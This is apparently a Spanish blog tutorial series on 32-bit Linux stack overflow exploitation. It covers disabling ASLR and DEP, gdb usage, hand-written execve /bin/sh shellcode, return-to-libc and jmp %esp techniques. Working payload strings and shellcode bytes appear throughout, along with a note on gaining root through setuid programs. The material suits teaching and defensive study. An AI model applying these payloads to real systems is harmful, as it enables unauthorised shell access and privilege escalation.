ByPassing DEP

Para compilar el programa name.c para este artículo es necesario desactivar DEP:

gcc -m32 -fno-stack-protector name.c -o name

También es necesario desactivar ASLR ejecutando el siguiente comando con permisos de administrador

echo 0 > /proc/sys/kernel/randomize_va_space

Hasta ahora lo hemos tenido relativamente fácil porque hemos desactivado algunas de las protecciones que implementa el compilador y el sistema operativo, pero en el mundo real las cosas no son tan sencillas, así que a partir de ahora vamos a empezar a estudiar estas protecciones y la manera de saltárselas.

A partir de ahora nos vamos a encontrar con restricciones en cuanto a la forma de trabajar, por ejemplo en los artículos anteriores hemos podido poner nuestro shellcode en la dirección de memoria que queriamos, ¡incluso hemos podido usar un shellcode personalizado!

En estos artículos nos vamos a centrar concretamente en dos protecciones que he ido nombrando por encima y que hasta ahora no le he dado mucha importancia, estas dos protecciones son DEP y ASLR.

En este primer artículo voy a empezar hablando de DEP, así que voy a hacer una pequeña introducción al mismo.

DEP viene de Data Execution Prevention y es una implementación hardware que debe ser soportada por el Sistema Operativo, aunque Linux puede emular dicha protección sin estar presente en el hardware. Como su nombre indica esta protección evita que zonas de datos se puedan ejecutar.

¿En que afecta esto a nuestros métodos anteriores? Nosotros estabamos inyectado nuestro shellcode en una zona de datos, la pila, ahora con esta medida de protección no podremos ejecutar un shellcode desde la pila. El parámetro que deshabilita esta protección en gcc es -z execstack, con ese parámetro podremos ejecutar código desde la pila, pero si quitamos ese parámetro ya no se nos permitirá ejecutar código desde la pila.

Hasta ahora nuestro programa compilado con -z execstack al ejecutar el siguiente comando

readelf -l ./name

Nos mostraba lo siguiente

0

Podemos ver como el segmento GNU_STACK tiene RWE en la penúltima columna que significa que tiene permisos de lectura, escritura y ejecución. Sin embargo si compilamos el programa sin la opción -z execstack veremos lo siguiente

1

Nuestro programa ya no tiene permisos de ejecución en la pila y por tanta ya no podremos ejecutar shellcodes alojados en la pila.

Si probamos a ejecutar nuestro programa pasándole el shellcode del artículo anterior, obtendremos:

2

Vemos como efectivamente nuestro shellcode no nos proporciona una shell, sino que nos da un segmentation fault

¿Que podemos hacer entonces? Aquí surge una técnica que se llama Return to Libc, recordemos que libc es la librería estándar de C en sistemas Linux y por tanto todos los programs bajo entornos linux suelen llamar a esta librería. Por ejemplo, printf está definida dentro de esta librería.

La idea es muy sencilla, es sobreescribir el registro EIP con una dirección de una función definida en libc en vez de proporcionar una dirección donde se encuentre nuestro shellcode. Haciendo esto el programa saltaría a dicha función que al estar en el segmento de texto de Libc tendrá permisos de ejecución.

¿Que función podemos llamar? Aquí surgen 2 tendencias, aquellas que llaman directamente a una función para obtener una shell, como puede ser la función system() o proporcionar en EIP la dirección donde se encuentra el función mprotect que es una llamada al sistema que permite cambiar los permisos de ejecución/escritura/lectura de un segemento de un programa para hacer que la pila sea de nuevo ejecutable y proporcionar un shellcode que ejecutar desde la pila.

Por ser la opción más sencilla y la que mejor ilustra la técnica vamos a llamar directamente a la función system para obtener una shell.

Para esta técnica hay que tener claro la forma en la que se pasan los argumentos a las funciones y que fue explicada en artículos anteriores. Cuando una funcion va a ser llamada, sus argumentos se almacenan en la pila. En este caso la función system solo tiene un parámetro que es el comando a ejecutar, pero además tendremos que meter en la pila la dirección de la función exit para realizar una salida controlada del programa cuando salgamos de la shell y para que no nos de un fallo de segmentación (hay que recordar que los fallos de segmentación generan logs que los administradores de sistemas pueden examinar).

Por tanto nuestra pila debe quedar de la siguiente forma:

AAAA...AAAA + DIRECCIÓN_SYSTEM + DIRECCIÓN_EXIT + DIRECCIÓN_PARÁMETRO_SYSTEM

Que de forma un poco gŕafica quedaría de la siguiente forma

DIRECCIÓN_PARÁMETRO_SYSTEM
DIRECCIÓN_EXIT
DIRECCIÓN_SYSTEM
AAAA...AAAA

Recordemos que después de salir de la función func, el programa recuperará la el valor de EIP que nosotros hemos sobreescrito y que redirige a la función SYSTEM, una vez en la función system, se espera que el primer parámetro se haya introducido en la pila y está en la primera posición, y una vez acabada la ejecución de system se procederá a la ejecución de exit.

Por tanto, necesitamos saber unas cuantas cosas, la primera es la dirección de la función system, la segunda es la dirección del parámetro que le vamos a pasar a system y la tercera es la dirección de la función exit.

La dirección de system y de exit es fácil de saber, en gdb y con el programa ejecutado y parado en un breakpoint escribimos los comandos

p system

y

p exit

3

En mi caso system está en la posición 0xF7E2B160 y exit en la dirección 0xF7E1Ec90.

Nos falta por saber la dirección del primer parámetro. Por lo general siempre hemos introducido los datos que necesitabamos en la pila, pero hay otro lugar donde podemos introducir también datos, esto es las variables de entorno. Además si compilamos y ejecutamos el siguiente programa podremos saber la dirección exacta de nuestra variable de entorno.

para compilarlo debemos tener cuidado de compilarlo para 32 bits

gcc -m32 getenv.c -o getenv

La función getenv() de linux nos devuelve la dirección de memoria de una variable de entorno, pero esa dirección de memoria se corresponde a la dirección en el proceso de ese programa, nosotros queremos saber la dirección de esa variable de entorno pero en el programa vulnerable y si nos acordamos lo que influia en el cambio de las direcciones era el nombre del programa y las variables de entorno en si, en este caso como se ejecuta sobre el mismo entorno las variables de entorno no cambian pero si que cambia el nombre, de ahí que el calculo se haga solamente con la diferencia de longitud entre el nombre del programa getenv y el nombre del programa vulnerable.

4

Una vez hecho esto ya tendremos los 3 datos que andabamos buscando.

La dirección de system: 0xF7E2B160
La dirección de exit: 0xF7E1Ec90
La dirección del parámetro de system: 0xFFFFDFAF

Ahora deberemos construir el parámetro que le tenemos que passar a nuestro programa vulnerable con estos datos. Como ya se sabe el programa sobreescribe el valor de EIP al 45 byte, en EIP deberemos proporcionar la dirección de system, después la dirección de exit, y por último la dirección del parámetro de system (para que cuando se ejecute system este esté en la cima de la pila y pueda ser recuperado por system). Por tanto el parámetro a pasarle será:

`python -c "print 'A' * 44 + '\x60\xb1\xe2\xf7' + '\x90\xec\xe1\xf7' + '\xaf\xdf\xff\xff'"`

Si ejecutamos el programa con este parámetro obtendremos:

5

¡Tachán! Hemos obtenido una shell saltándonos la protención DEP.

Jump to ESP

Para compilar el programa name.c para este artículo es necesario desactivar DEP:

gcc -m32 -fno-stack-protector -z execstack name.c -o name

También es necesario desactivar ASLR ejecutando el siguiente comando con permisos de administrador

echo 0 > /proc/sys/kernel/randomize_va_space

En el artículo anterior conseguimos hacer funcionar nuestro exploit dentro de gdb, pero tuvimos problemas a la hora hacer funcionar nuestro exploit fuera de gdb.

¿Cual puede ser la razón para esto?

Asumimos que la protección ASLR (que espero hablar más tarde de ella) la tenemos desactivada.

El comando que siempre he indicado para desactivarla:

echo 0 > /proc/sys/kernel/randomize_va_space

tiene efecto temporal y después de reiniciar nuestro ordenador ASLR volverá a estar activo, así que hay que estar atento a desactivarlo cada vez que practiquemos con estos artículos. Aunque ahora no venga al caso hay que decir que gdb desactiva la protección ASLR, si quisiesemos activarla, dentro de gdb debemos ejecutar el siguiente comando:

set disable-randomization off

Volviendo al hilo del artículo, la razón de la que pase esto tiene que ver con un gráfico que puse en el primer artículo:

process_va

Nuestro exploit fuera de gdb no funciona porque las direcciones que hemos calculado dentro de gdb no coinciden con las que se ejecutan fuera de gdb, hay 2 posibles culpables de esto. Los primeros 4 bytes del espacio de direcciones de un proceso son constantes, los segmentos, la pila y el heap también son constantes. Lo único que queda que puede variar son el nombre del programa, los argumentos y las variables de entorno.

Efectivamente si alguna de estas regiones no coincide exactamente con lo que tenemos en un entorno de ejecución gdb las direcciones no coincidiran y el exploit no funcionará.

En este caso concreto los argumentos no pueden ser los culpables porque tanto en gdb como fuera de él se pasa un argumento con la misma cantidad de bytes (48 bytes). Aunque pueda parecer que el nombre también es el mismo, se podría dar el caso de que no, el nombre del programa fuera de gdb se almacena tal cual lo ejecutemos, es decir, si ejecutamos ./name se almacenará ./name, sin embargo, en gdb el nombre se almacena como la ruta absoluta, para mi caso sería /home/angelluis/Documentos/exploiting/name. Aquí ya nos encontramos con que si hemos ejecutado nuestra aplicación fuera de gdb como ./name tendriamos que sumarle 36 a la dirección de memoria que obtuvimos en el artículo anterior (36 = la diferencia entre la longitud de la cadena /home/angelluis/Documentos/exploiting/name y ./name). O más sencillo aún, conservar la dirección de memoria obtenida en gdb y fuera de gdb ejecutar nuestro programa mediante su ruta absoluta.

Las variables de entorno también cambian cuando se ejecuta el programa en gdb. Si en gdb ejecutamos el comando

show env

podremos ver las variables de entorno que hay definidas y que, por tanto, forman parte del espacio de memoria del proceso. Por lo general gdb define dos variables nuevas, LINES y COLUMNS.

Para automatizar el proceso he creado un script que por fuerza bruta va comprobando direcciones. Ajustando la dirección inicial a la que encontramos en gdb podremos encontrar facilmente la nueva dirección para explotar la vulnerabilidad, ya que las direcciones de memoria deben estar proximas, porque como se ha dicho solo habrá cambiado el nombre y alguna variable de entorno.

Este es el script:

Y aquí una muestra del script en funcionamiento, encontrando la dirección:

0

La dirección que nos da el shell es la 0xffffd6c0 y el shellcode completo es

\x90\xeb\x14\x5e\x31\xc0\x88\x46\x07\xb0\x0b\x89\xf3\x31\xc9\x31\xd2\xcd\x80\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x90\x90\x90\x90\x90\x90\x90\x90\x90\xbf\xd6\xff\xff

Vamos a probarlo ahora sin script y ….

1

Nada, que no hay forma… Esto se debe de nuevo a que el script introduce variables de entorno y por tanto la ejecución en el script y la ejecución sin el script no corren en el mismo entorno y las direcciones en el espacio de memoria del proceso están desplazadas.

En mi caso, la dirección exacta es 0xFFFFd670

2

Esta solución no es muy elegante, y los fallos de segmentación son registrados en logs que posteriormente un administrador de sistemas puede examinar y podría detectar el posible ataque.

Para no tener este problema con las direcciones de memoria existen ciertos script que actuan de envoltura entre el programa vulnerable, gdb y la shell donde se ejecute el programa, un script que he comprobado que funciona es el de la siguiente dirección:

https://github.com/hellman/fixenv/blob/master/r.sh

El uso es bastante sencillo, si queremos usar gdb deberemos ejecutar

r.sh gdb ./program [args]

Y si queremos ejecutarlo sin gdb ejecutamos

r.sh ./program [args]

Con este envoltorio nos aseguramos de que las direcciones de memoria no varien dependiendo del entorno.
Pero nosotros vamos a usar una técnica más refinada para solucionar nuestro problema.

Desde la entrada de nuestro programa podemos modificar la pila del programa, ¿Y si pudiesemos saltar a directamente a la cima de la pila con una instrucción del tipo “Saltar a la cima de la pila”? Pues se puede, esta instrucción es la jmp %esp (Jump to Extended Stack Pointer).

Lo que queremos hacer es despreocuparnos de en que posición se encuentra nuestro shellcode y saltar directamente a nuestro shellcode mediante la instrucción jmp %esp. En nuestro código no vamos a encontrar esta instrucción. Podemos intentar buscarla mediante:

objdump -D name | grep jmp | grep esp

que nos arrojará 0 resultados. Lo ideal sería buscar esta instrucción en el propio código de la aplicación vulnerable o en alguna librería propia del programa vulnerable.

Además jugamos con una ventaja en sistemas x86 y es que a diferencia de otras arquitectura no es necesario que las instrucciones estén alineadas, ¿Que significa esto?

3

La imagen de arriba lo explica perfectamente, según que byte leamos las instrucciones se re-interpretan, en la imagen de arriba leo una dirección determinada acto seguido leo una dirección donde no empieza ninguna instrucción (la dirección 0x080484d2) y vemos como ya no aparecen las mismas instrucciones que antes. Aún así no vamos a usar el programa vulnerable para buscar la instrucción jmp %esp. Vamos a usar las librerias compartidas de las que hace uso el programa vulnerable, aunque como he dicho antes esto no es recomendable, y más aún si está ASLR activado.

Para listar las librerias de las que hace el programa vulnerable podemos ejecutar desde gdb el comando

info sharedlibrary

En este caso usaremos el comando

ldd name

desde fuera de gdb. Con esto veremos que el programa vulnerable usa la librería libc que es la librería estandar de c de Linux, además nos dice la ruta en la que se encuentra, así que nos disponemos a ejecutar objdump sobre dicha librería en busca de un jmp esp

4

Esto nos ha servido para dos cosas. Por una parte hemos descubierto el offset del primer jmp %esp que es 0x15a55b y por otra parte hemos descubierto que el op code de jmp %esp es 0xffe4. No es mi intención explicar el funcionamiento del linker del compilador y el loader del sistema operativo pero las librerías compartidas se compilan con la opción de gcc -fPIC donde PIC significa Position Independent Code. Esto es porque las librerías compartidas (.so en Linux y .dll en windows) comparten el segmento de texto con todo proceso que la use (el segmento de datos por el contrario se copia y es único para cada proceso, no es compartido). El loader del sistema operativo decide en tiempo de carga donde posicionar las librerías dinámicas y completa información que el linker ha dejdo en blanco.

Por tanto, las librerías compartidas cuando se examinan aisladamente no nos ofrecen una dirección de memoria absoluta, sino un offset con respecto a su dirección de carga. ¿Como adivinar dicha dirección de carga?

Para ello podemos ejecutar el comando

info proc mapping

En gdb, estando cargado el programa que queremos examinar

5

Cuando hemos ejecutado

ldd name

o

info sharedlibrary

Nos ha dado unas direcciones de memoria de la librería libc, pero como se dijo en el artículo anterior, ldd no ofrece resultados precisos e info sharedlibrary nos devuelve la posición del segmento de código.

Con info proc mapping vemos que aparecen varias referencias a la librería libc, la posición de inicio de la librería es la posición de inicio de la primera referencia, esto es 0xF7DF0000.

Por tanto si a 0xF7DF0000 le sumamos el offset 0x15a55b nos da como resultado 0xF7F4A55B y ahí es donde deberiamos encontrar nuestro jmp %esp. Vamos a comprobarlo

6

Como no podía ser de otra forma nos encontramos con la instrucción jmp %esp y su op code.

Tenemos ya la dirección a un salto a la pila con su dirección absoluta, sabemos también la cantidad de bytes que necesitamos proporcionar a la entrada para sobreescribir el registro EIP y redirigir la ejecución del programa, tenemos un shellcode capaz de obtener una shell, ¡Lo tenemos todo!

Ahora hay que tener una cosa en cuenta, nuestro shellcode se va a ejecutar cuando retorne la función func del programa vulnerable (igual que en el artículo anterior) que es cuando se recupera el valor del registro EIP que hemos sobreescrito, pero hay una diferencia con el artículo anterior.

En el articulo anterior la entrada era de la siguiente forma

SHELLCODE + NUEVO_VALOR_EIP

Ahora mediante esta técnica la entrada tiene que ser de la siguiente forma

RELLENO + NUEVO_VALOR_EIP + SHELLCODE.

¿Por qué? Porque en los artículo anteriores es verdad que nos fijabamos en el registro ESP pero nos fijabamos antes de que la función retorne y recupere el valor del registro EIP manipulado, esta vez nuestro registro ESP va a ser consultado después de salir de la función func, y para entonces la pila habrá eliminado el marco creado para nuestra función func y apuntará a la dirección de pila justo antes de introducir el EIP.

El relleno en nuestro caso es de 44 bytes, porque después de esto sobreescribimos el registro EIP

Por tanto el argumento que le tenemos que pasar al programa vulnerable es:

`python -c "print 'A'*44 + '\x5b\xa5\xf4\xf7' + '\x90\xeb\x14\x5e\x31\xc0\x88\x46\x07\xb0\x0b\x89\xf3\x31\xc9\x31\xd2\xcd\x80\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68'"`

Y vemos como así funciona sin problemas tanto dentro de gdb como fuera.

7

Esto a simple vista no parece tener mucha utilidad, hemos obtenido una shell pero sigo siendo angelluis, puedo hacer lo mismo que podía hacer antes. ¿Pero y si la vulnerabilidad la tiene un programa cuyo propietario es root y con el bit s activo como puede ser por ejemplo el programa passwd?

8

Pues que nada más y nada menos hemos conseguido escalar privilegios y ejecutar una shell como root.

A parte de obtener una shell, los payloads o shellcodes también se suelen usar para realizar denegaciones de servicio u obtener shells remotas.

Con esto ya queda explicado lo básico de los ataques stack overflow

GDB, shellcodes y nuestro primer exploit

Para compilar el programa name.c para este artículo es necesario desactivar DEP:

gcc -m32 -fno-stack-protector -z execstack name.c -o name

También es necesario desactivar ASLR ejecutando el siguiente comando con permisos de administrador

echo 0 > /proc/sys/kernel/randomize_va_space

GDB

Antes de proseguir donde lo dejamos en el artículo anterior es necesario repasar unas cuantas nociones de gdb.

Como se ha dicho anteriormente, gdb es el depurador de GNU, para invocarlo basta con ejecutar

gdb programa

o

gdb -q programa

Con la opción -q no nos mostrará la información inicial y ahorraremos espacio en pantalla.

Mediante la orden disas o disass podremos desensamblar el código, si no proporcionamos ningún parámetro nos desensamblará el código desde el registro EIP, si el programa no está en ejecución no nos desensamblará nada, por contra, le podemos pasar una dirección de memoria o nombre de método y nos desensamblará desde esa dirección de memoria, como segundo parámetro le podemos pasar la longitud en bytes que queremos desensamblar o la dirección final hasta la que queremos desensamblar.

disas func, +10 (desensamblaremos 10 bytes)
disas func, 0xffeeddcc (desensamblaremos hasta la dirección expecificada)

Con la orden break podremos poner una breakpoint, bien usando una dirección de memoria o un nombre de método.

Con la orden r o run seguido de argumentos (si es que nuestro programa tiene argumentos) podremos empezar a correr nuestro programa, si queremos movernos de línea en línea de ensamblador debemos usar las ordenes stepi/si o nexti/ni.

A continuación se muestra una sesión básica de gdb

0

Si queremos ver el estado actual de los registros podremos ejecutar la orden

info registers

1

A parte de disas, que sirve para desensamblar código, tenemos otra herramienta muy ponente que sirve para examinar la memoria. El comando para dicho fin es “x” seguido de la cantidad a examinar y del formato y por último la dirección de memoria. El formato que mas vamos a usar es el hexadecimal “x” y el de instrucción “i”, para más información se puede escribir help x en gdb.

Un ejemplo de este comando en ejecución puede ser el siguiente:

2

En el primer comando hemos ejecutado el comando de examinar memoria “x” con el parámetro /16x que significa que desensamble 16 direcciones en formato hexadecimal y como último parámetro le hemos pasado el registro $eip, es decir, nos va a mostrar a partir de la siguiente instrucción a ejecutar.

En el segundo ejemplo vemos que en vez de /16x le hemos pasado /10i que significa que nos muestre 10 instrucciones.

Aquí podemos ver una cosa muy interesante que nos servirá más adelante, que la memoria es un conjunto de bytes y que todo depende de como se interprete, si se interpreta como instrucción nos da el resultado del segundo “x” y si directamente no se interpreta obtenemos el conjunto de bytes del primer “x”.

Hay veces que necesitaremos saber donde están localizadas las librerías compartidas que usa nuestro programa, para ello hay 3 formas, pero una de ellas es la más completa. La primera de ellas y que personalmente no recomiendo es la herramienta de linux ldd

3

No la recomiendo porque no suele ser exacta.

Otra opción que podemos usar es ejecutar la orden info sharedlibrary en gdb

4

Para usar este comando deberemos haber ejecutado nuestro programa (run args) sino nos mostrará un error parecido al que me ha mostrado a mi.

Este método es preciso pero la dirección que nos da es la dirección en la que se encuentra el código, es decir la dirección 0xf7e07480 es la dirección en la que se encuentra la directiva .text de la librería libc.

A veces no nos interesa solo saber donde se encuentra la sección text, sino que nos interesa el rango de direcciones total donde se carga una librería, para ello podemos usar el comando.

Info proc mapping

5

Podemos ver que la librería compartida libc tiene 3 entradas, el espacio de direcciones en la que se encuentra esta librería será desde el primer start addr hasta el ultimo end addr, es decir, desde 0xf7df0000 hasta 0xf7fa9000 en mi caso particular.

Por último, gdb dispone de un comando muy útil que nos permite buscar bytes en el espacio de memoria del proceso, su sintaxis es:

find [/size-char] [/max-count] start-address, +length, expr1 [, expr2 …]

donde /size-char puede ser /b para bytes /h para 2 bytes /w para 4 bytes y /g para 8 bytes, para más información se puede escribir help find en gdb.

6

En este ejemplo primero busco 2 bytes 0xf7fd en la direccion 0xf7def000 (que es donde se mapea libc) y busco en un rango de 3000 bytes. Se puede ver como me han aparecido 3 ocurrencias y compruebo que en la primera de ellas efectivamente se puede encontrar la secuencia de bytes. En el segundo ejemplo busco únicamente 1 byte desde una dirección de memoria hasta otra dirección de memoria, gdb me devuelve 2 ocurrencias y compruebo que en la primera ocurrencia que me devuelve gdb se puede encontrar el byte buscado.

Shellcodes

Después de esta pequeña introducción a gdb ya podemos continuar por donde se quedó en el artículo anterior, bueno, aún no podemos meternos a continuar el artículo anterior porque aún queda algo por explicar.

En el capítulo anterior conseguimos redirigir el flujo de ejecución modificando el registro EIP y para ello modificamos un valor de la pila. Lo que nos gustaría es redirigir EIP hacia el inicio de nuestro buffer y ejecutar lo que se encuentre allí. ¿Pero que es lo que se encuentra ahí? En el artículo anterior nuestro buffer era rellenado con 44 A's pero eso no nos sirve.

Lo que necesitamos introducir en nuestro buffer es código que el procesador pueda ejecutar, este código que se mete en el buffer y que la CPU ejecutará recibe el nombre de payload o shellcode.

En una gran cantidad de ataques el objetivo es obtener una shell para poder manejar el ordenador a nuestro antojo, resulta entonces obvio que a este código se le ponga el nombre de shellcode.

Vale ¿Pero que tipo de código tenemos que meter en nuestro buffer? ¿código C? No, la máquina no entiende el código C, deberemos meter directamente código máquina que es el único que la máquina sabe interpretar.

Llegados aquí podemos pensar en compilar un programa C y obtener su código ensamblador, esto es un error, primero porque el código que nos generará seguramente será bastante más largo que el que nosotros mismos podamos escribir, y el tamaño en los shellcodes importa, ya que tiene que caber en nuestro buffer de 44 bytes y por otra parte gcc va a generar código ensamblador para un programa estructurado, con su region de memoria, de código etc, nosotros necesitamos un programa que no necesite regiones, es decir, no debe estar bien estructurado.

Nuestro objetivo es escribir un código en ensamblador capaz de ejecutar una shell en tan solo 44 bytes. Además tenemos problemas añadidos, no vamos a tener regiones, entonces no tendremos region de datos ni variables que podamos referenciar de forma sencilla.

Antes de escribir ensamblador que nos ejecute una shell es necesario explicar que en linux muchas operaciones básicas las ejecuta realmente el sistema operativo, el programa de usuario que se ejecuta en el espacio de usuario hace una llamada al kernel y el kernel maneja esa llamada en espacio kernel y posteriormente devuelve el control al usuario. Esto es lo que se conoce como llamadas al sistema. Por ejemplo, cuando queremos abrir un fichero, hacemos la llamada al sistema open, el sistema operativo abre el fichero por nosotros y nos devuelve un descriptor de fichero.

Cada una de estas llamadas al sistema tiene un numero asociado, por ejemplo, open es el numero 4. Pues bien, hay una llamada al sistema que nos permite ejecutar procesos, esta es execve y tiene el número 0x0B (12). Lo que debemos hacer es invocar esta llamada al sistema y pasarle como proceso a ejecutar /bin/sh. ¿Pero como se ejecutan estas llamadas al sistema?

En c es bastante fácil:

int execve(const char *filename, char *const argv[], char *const envp[]);

Pero en ensamblador se complica un poco, primero hay poner en eax el numero de la llamada al sistema que queramos hacer, después en ebx ponemos el primer parámetro, en ecx el segundo y en edx el tercer parámetro y por último llamar a la interrupción 0x80. Quedaría algo así

mov $0xb, %eax
mov 1º parámetro, %ebx
mov 2º parámetro, %ecx
mov 3º parámetro, %edx
int $0x80

Pero además tenemos un problema añadido con nuestra shellcode, no puede contener bytes nulos (0x00) y tampoco es recomendable que lleve espacios (0x20), saltos de linea (0x0A) y el byte (0x09), después explicaré un poco más detalladamente esto.

Para establecer valores númericos en los registros no es complicado, basta hacer un mov al registro y ya lo tenemos, pero lo complicado viene cuando queremos almacenar en un registro una cadena de texto, como puede ser “/bin/sh”, el registro no almacena la cadena como tal sino que almacena la dirección de memoria donde se encuentra la cadena y, como he dicho anteriormente, no tenemos sección de datos, no es un programa estructurado. Para resolver esto hay un truco bastante ingenioso que expongo a continuación

jmp truco
inicio:
pop %esi

truco:
call inicio
db “/bin/sh”

El sistema es bastante sencillo, nada más empezar hacemos un salto a truco, en truco hacemos un call a inicio ¿Y que es lo que hacía un call? Un call era como un jmp pero además almacenaba la dirección de la siguiente instrucción a ejecutar en la pila, es decir, este call va a almacenar la dirección de la cadena “/bin/sh” en la pila, y cuando saltemos a inicio la vamos a recuperar en ESI mediante pop %esi. Por tanto, tendremos en ESI la dirección del primer parámetro que le tenemos que pasar a execve. El código en ensamblador encargado de ejecutar una shell y posteriormente salir del programa me ha llevado apenas 34 bytes y es el siguiente:

para compilar y enlazar este código necesitamos los siguientes comandos:

as --32 shellcode.s -o shellcode.o
ld -m elf_i386 shellcode.o

Aún no he comentado que en lenguaje ensamblador hay 2 sintaxis principales, la sintaxis AT&T que es la mostrada arriba y la sintaxis INTEL que sería la siguiente

Esta sintaxis os será más cercana si programais en ensamblador bajo windows. Para compilar en linux mediante esta sintaxis se ejecutan los siguientes comandos:

nasm -f elf shellcode_intel.asm
ld -m elf_i386 shellcode_intel.o

En cualquier caso ambas sintaxis generan el mismo binario. Ahora necesitamos obtener el código máquina del binario que hemos compilado, para ello podemos ejecutar el siguiente comando:

objdump -D shellcode

7

Y obtendremos algo parecido a la imagen. Lo que nos interesa son los números centrales, los que están entre las direcciones de memoria (80480XY) y las instrucciones ensamblador. Estos números los tendremos que poner de la siguiente forma:

\xeb\x14\x5e\x31\xc0\x88\x46\x07\xb0\x0b\x89\xf3\x31\xc9\x31\xd2\xcd\x80\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

Que si nos acordamos es la forma mediante la cual algunos lenguajes de programación nos permiten introducir directamente valores hexadecimales aunque su representación gráfica no sea visible (Como ya hicimos a la hora de poner las direcciones en el artículo anterior).

Llegados a este punto es bastante interesante hacerse un tester de shellcodes, esto es, un pequeño programita que nos permita ejecutar shellcodes, como puede ser el siguiente:

Si ejecutamos este programa veremos como hemos conseguido obtener una shell

8

Ya tenemos nuestro shellcode listo para ser ejecutado y además sabemos que podemos sobreescribir el registro EIP para redirigir la ejecución del programa, lo único que nos queda es saber en que posición de memoria se almacenará nuestra shellcode. Como ya se explico en el artículo anterior, al tener solo 1 buffer, nuestra shellcode se almacenará en la dirección de memoria que apunte ESP pero necesitamos averiguar dicha dirección, para ello vamos a gdb y ponemos el siguiente breakpoint:

break *func+44

y acto seguido ejecutamos nuestro programa mediante, ponemos 44 porque es la cantidad exacta que ocupa nuestro buffer.

run `python -c “print 'A' *44”`

Cuando nos pare el breakpoint ejecutamos

x /16x $esp

9

Vemos que la entrada que hemos metido se almacena en 0xFFFFD600 y nos encontramos con que tenemos un problema, hay un byte nulo 0x00 en la dirección de ESP, esto implica que vamos a tener que meter ese byte nulo en la posición 45 de nuestra cadena de entrada (recordad que en little endian el byte menos significativo se escribe primero).

Un byte nulo implica el final de una cadena y muchas funciones de cadenas de C acaban de leer cuando se introduce un byte nulo o un espacio, o un salto de linea (de ahí que los bytes 0x00, 0x0A, 0x09 y 0x20 no puedan aparecer)

¿Que podemos hacer?
Poner como primer byte el byte 0x90 que es la instrucción NOP y no hace exactamente nada y en vez de llamar a la dirección de memoria 0xFFFFFD600, llamar a la dirección 0xFFFFFD601. Por tanto, tenemos 34 bytes del shellcode + 1 byte NOP que en total hacen 35 bytes, pero nuestra entrada debe ser de 44 bytes para empezar a sobreescribir el registro EIP (y 48 bytes para sobreescribirlo totalmente) por tanto necesitamos 9 bytes más a parte de nuestro shellcode, estos bytes serán NOPs (0x90) y al final le concatenamos \x01\xd6\xff\xff (dirección 0xFFFFD601 en formato little-endian). Vamos a probar

10

¡Obtuvimos una shell!. Hemos conseguido obtener una shell a partir de un programa vulnerable, vamos a probar a explotar esta vulnerabilidad fuera de gdb.

El shell lo obtenemos con el siguiente shellcode

\x90\xeb\x14\x5e\x31\xc0\x88\x46\x07\xb0\x0b\x89\xf3\x31\xc9\x31\xd2\xcd\x80\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x90\x90\x90\x90\x90\x90\x90\x90\x90\x01\xd6\xff\xff'

11

¿Como es posible? Nos da un fallo de segmentación, pero si hemos sido capaces de explotar la vulnerabilidad….
La respuesta en el siguiente artículo 😉